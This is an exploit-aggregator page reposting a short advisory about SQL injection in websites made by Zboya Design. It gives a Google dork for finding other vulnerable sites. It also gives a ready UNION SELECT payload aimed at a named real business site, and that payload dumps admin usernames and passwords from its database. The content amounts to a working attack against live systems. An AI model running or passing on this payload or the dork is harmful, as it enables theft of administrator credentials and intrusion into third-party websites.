Advertisement


Looking for a fix? Check your Codebase security with multiple scanners from Scanmycode.today


Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020100075

Below is a copy:

Zboya Design SQL Injection vulnerability
#Exploit Title: Zboya Design SQL Injection vulnerability
#Date: 2020-10-13
#Exploit Author: Mostafa Farzaneh
#Vendor Homepage: https://www.zboyadesign.com
#Google Dork: "designed by Zboya Design"
#Category: webapps
#Tested On: windows 10, Firefox
#Software Link: https://www.zboyadesign.com/portfolio
 
Proof of Concept:
1-Search google Dork: "designed by Zboya Design"

Demo: http://www.valleywoodproducts.ca/products.php?cName=Cubbys&categoryId=-2000003%20UNION%20SELECT%201,group_concat(username,0x3a,password),3%20from%20qc_admins--+
********************************************************* 
#Discovered by: Mostafa Farzaneh from PywebSecurity Team
#Telegram: @pyweb_security

Copyright ©2020 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.